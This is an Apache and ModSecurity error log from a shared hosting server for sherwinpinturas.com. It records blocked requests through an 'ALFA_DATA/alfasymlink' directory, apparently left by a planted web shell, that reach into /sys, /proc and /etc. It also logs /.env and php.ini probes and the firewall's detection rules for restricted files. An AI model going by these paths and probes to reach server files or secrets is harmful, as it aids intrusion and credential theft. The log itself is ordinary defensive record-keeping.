[Tue Oct 27 05:28:37.887331 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 185.191.171.9:10874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-rcl-128/cache_dma
[Tue Oct 27 05:28:42.541455 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 34.233.114.237:48993] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:54.380596 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.235.172.108:64115] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:28:57.754602 2026] [authz_core:error] [pid 3201641:tid 3201641] [client 143.198.40.150:49662] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:29:02.320333 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 3.93.253.174:32611] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:29:06.320041 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.84.147.79:29458] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:29:14.368902 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 54.87.95.7:33452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:29:18.380388 2026] [core:error] [pid 3201646:tid 3201646] (13)Permission denied: [client 52.201.155.215:49291] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/PNP0400:00/subsystem/devices/PNP0A03:00/device:01/PNP0B00:00/physical_node/driver/uevent
[Tue Oct 27 05:29:22.328554 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 3.232.102.111:1412] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS3/subsystem/tty10/subsystem/ttyS2/uartclk
[Tue Oct 27 05:29:34.357481 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.238.45.183:7404] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:29:39.077019 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 85.208.96.196:29056] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:06.500424 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 35.169.102.85:52153] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:08.937666 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 185.191.171.10:60120] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:22.411482 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.192.67.98:14882] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:26.467410 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.204.37.237:58010] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:30.647177 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 34.196.237.236:62898] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:34.442612 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 52.203.68.145:13810] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:38.684869 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.212.232.231:51102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:30:42.499133 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 44.218.6.93:7842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/virtio0/subsystem/uevent
[Tue Oct 27 05:30:54.501221 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.231.77.232:34893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:31:06.627781 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.232.39.98:24943] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:31:18.660163 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.88.84.219:59789] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:31:41.831624 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 85.208.96.196:28474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/aliases
[Tue Oct 27 05:31:58.948487 2026] [core:error] [pid 3201640:tid 3201640] (13)Permission denied: [client 18.205.91.101:16601] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:05/physical_node/driver/0000:00:03.0/resource4
[Tue Oct 27 05:32:02.657342 2026] [core:error] [pid 3209601:tid 3209601] (13)Permission denied: [client 100.29.160.53:36449] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/input0/event0/subsystem/input3/device/subsystem/devices/serio1/driver/unbind
[Tue Oct 27 05:32:06.658013 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.212.145.46:20195] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:32:10.824540 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 3.210.223.61:51467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:32:14.698002 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 52.204.71.8:51588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:32:22.838641 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 18.204.152.114:31385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:32:38.861122 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.23.99.55:36635] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:32:46.785411 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 44.208.223.68:25464] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:04.715381 2026] [core:error] [pid 3209604:tid 3209604] (13)Permission denied: [client 185.191.171.1:33548] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/tty/ttyS3/io_type
[Tue Oct 27 05:33:04.793965 2026] [authz_core:error] [pid 3209603:tid 3209603] [client 209.38.94.19:40246] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:33:05.118425 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.230.224.6:45507] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:05.706395 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 209.38.94.19:45838] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 05:33:14.899293 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.4.213.199:34725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:23.058158 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 54.87.62.248:45889] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:27.154968 2026] [ssl:error] [pid 3209604:tid 3209604] (5)Input/output error: [client 52.45.92.83:27787] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:39.048377 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 98.83.226.125:56104] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:46.979138 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 52.205.222.214:42713] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:33:54.967467 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.23.103.31:12275] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:03.226167 2026] [ssl:error] [pid 3201647:tid 3201647] (5)Input/output error: [client 52.203.68.145:60254] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:07.139910 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 3.232.82.72:9967] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:07.275225 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.147:49152] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "auBwDx6MTIKaGGLTiEIY5QAAAAc"]
[Tue Oct 27 05:34:07.275705 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.147:49152] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "auBwDx6MTIKaGGLTiEIY5QAAAAc"]
[Tue Oct 27 05:34:07.276056 2026] [security2:error] [pid 3201641:tid 3201641] [client 16.216.88.147:49152] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/libuser.conf"] [unique_id "auBwDx6MTIKaGGLTiEIY5QAAAAc"]
[Tue Oct 27 05:34:08.445375 2026] [core:error] [pid 3209616:tid 3209616] (13)Permission denied: [client 85.208.96.211:23616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kvm_mmu_page_header/slab_size
[Tue Oct 27 05:34:15.107042 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 3.211.181.86:2963] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:27.261866 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.210.155.69:65482] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:55.240732 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 3.89.170.186:8725] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:34:55.988256 2026] [security2:error] [pid 3201656:tid 3201656] [client 43.166.238.12:51262] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/escuelas1.com/"] [unique_id "auBwP0mqTSs7laY6jMTiDAAAABc"]
[Tue Oct 27 05:34:55.990068 2026] [authz_core:error] [pid 3201656:tid 3201656] [client 43.166.238.12:51262] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/escuelas1.com/php.ini
[Tue Oct 27 05:35:07.533754 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 18.211.39.188:19933] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:11.791027 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 184.73.68.20:47959] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:12.799632 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.170:56786] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwUD4THoroSjopRdX-1AAAAAE"]
[Tue Oct 27 05:35:12.799915 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.170:56786] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwUD4THoroSjopRdX-1AAAAAE"]
[Tue Oct 27 05:35:12.800276 2026] [security2:error] [pid 3209603:tid 3209603] [client 130.12.180.170:56786] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwUD4THoroSjopRdX-1AAAAAE"]
[Tue Oct 27 05:35:15.412230 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 44.206.65.8:35496] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:35.429332 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.82.66.172:25953] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:39.495657 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 50.16.248.61:37936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:47.304578 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.208.96.210:63346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/popoji/install.php"] [unique_id "auBwc5ekxYBRCO5jo1OGuwAAABA"]
[Tue Oct 27 05:35:47.304621 2026] [security2:error] [pid 3209611:tid 3209611] [client 85.208.96.210:63346] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/var/softaculous/popoji/install.php"] [unique_id "auBwc5ekxYBRCO5jo1OGuwAAABA"]
[Tue Oct 27 05:35:47.509524 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.222.85.38:64263] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:35:59.391651 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 44.194.139.149:2732] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:03.576717 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 34.202.88.37:12102] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:16.463705 2026] [core:error] [pid 3209611:tid 3209611] (13)Permission denied: [client 185.191.171.12:46162] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/cirrus/sections/__bug_table
[Tue Oct 27 05:36:27.623453 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 35.169.119.108:46891] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:31.716423 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 18.235.158.19:40385] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:35.639563 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 52.54.249.218:62024] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:41.900884 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.164:60616] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwqZekxYBRCO5jo1OGvQAAABA"]
[Tue Oct 27 05:36:41.901176 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.164:60616] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwqZekxYBRCO5jo1OGvQAAABA"]
[Tue Oct 27 05:36:41.901654 2026] [security2:error] [pid 3209611:tid 3209611] [client 130.12.180.164:60616] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "plantas3.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBwqZekxYBRCO5jo1OGvQAAABA"]
[Tue Oct 27 05:36:44.585084 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 44.205.74.196:21304] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:36:47.693790 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 34.234.200.207:24448] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:03.932831 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 18.213.70.100:16217] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:12.139394 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 98.83.72.38:25000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:16.292267 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 34.192.67.98:28173] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:19.888652 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.23.103.31:51542] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:23.758075 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 23.22.59.87:57950] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:27.878791 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.210.223.61:19196] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:31.758239 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 54.147.238.89:1272] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:36.020767 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.54.15.103:8233] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:47.779521 2026] [ssl:error] [pid 3201641:tid 3201641] (70014)End of file found: [client 3.94.156.104:14987] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:37:51.957929 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 50.19.221.48:28626] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:03.912557 2026] [ssl:error] [pid 3201656:tid 3201656] (5)Input/output error: [client 34.196.114.170:20000] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:08.231326 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 54.157.99.244:20945] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:13.114779 2026] [core:error] [pid 3201641:tid 3201641] (13)Permission denied: [client 85.208.96.201:43732] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/red_zone
[Tue Oct 27 05:38:15.838880 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 98.83.72.38:33457] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:20.026318 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 3.213.106.226:12214] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:23.741914 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 18.211.39.188:25392] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:23.742151 2026] [security2:error] [pid 3201646:tid 3201646] [client 18.211.39.188:25392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/node0/memory1/phys_index"] [unique_id "auBxDxEnDOWBtFG5jRP7JgAAAAw"]
[Tue Oct 27 05:38:23.742234 2026] [security2:error] [pid 3201646:tid 3201646] [client 18.211.39.188:25392] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:01/subsystem/devices/LNXSYBUS:00/PNP0C0F:04/subsystem/devices/LNXCPU:00/physical_node/node0/memory1/phys_index"] [unique_id "auBxDxEnDOWBtFG5jRP7JgAAAAw"]
[Tue Oct 27 05:38:27.808720 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 54.235.158.162:30319] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:31.864371 2026] [ssl:error] [pid 3209611:tid 3209611] (70014)End of file found: [client 52.7.33.248:41376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:36.042784 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.212.131.50:25476] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:39.927636 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 100.29.164.178:42836] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:51.698345 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 23.23.212.212:23377] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:38:55.757777 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 100.24.167.60:21443] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:03.875391 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 100.24.149.244:15744] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:07.673417 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 54.156.248.117:11083] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:20.079199 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.235.172.108:4459] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:35.868939 2026] [ssl:error] [pid 3201640:tid 3201640] (70014)End of file found: [client 52.23.112.144:37527] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:39.852187 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 23.22.105.143:38874] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:47.725083 2026] [ssl:error] [pid 3209616:tid 3209616] (70014)End of file found: [client 44.210.213.220:57573] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:51.701503 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 98.82.66.172:36638] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:55.900552 2026] [ssl:error] [pid 3201647:tid 3201647] (70014)End of file found: [client 34.202.88.37:59784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:39:59.920122 2026] [core:error] [pid 3201656:tid 3201656] (13)Permission denied: [client 44.195.50.71:46317] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/driver/bind
[Tue Oct 27 05:40:07.724845 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 98.83.177.42:7098] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:40:16.280931 2026] [ssl:error] [pid 3201646:tid 3201646] (70014)End of file found: [client 44.215.235.20:43291] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:40:51.700445 2026] [ssl:error] [pid 3201656:tid 3201656] (70014)End of file found: [client 52.4.76.156:36538] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:40:59.906505 2026] [ssl:error] [pid 3209604:tid 3209604] (70014)End of file found: [client 44.223.193.255:23588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 05:40:59.906719 2026] [security2:error] [pid 3209604:tid 3209604] [client 44.223.193.255:23588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/subsystem/slots/23/max_bus_speed"] [unique_id "auBxq60A58tRzIL-Q2BmSQAAAAM"]
[Tue Oct 27 05:40:59.906753 2026] [security2:error] [pid 3209604:tid 3209604] [client 44.223.193.255:23588] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/physical_node/0000:00:02.0/subsystem/drivers/ata_piix/0000:00:01.1/driver/0000:00:01.1/subsystem/slots/23/max_bus_speed"] [unique_id "auBxq60A58tRzIL-Q2BmSQAAAAM"]
[Tue Oct 27 05:41:04.017464 2026] [ssl:error] [pid 3209601:tid 3209601] (70014)End of file found: [client 34.231.77.232:9412] AH02013: coalesce failed to read from data bucket
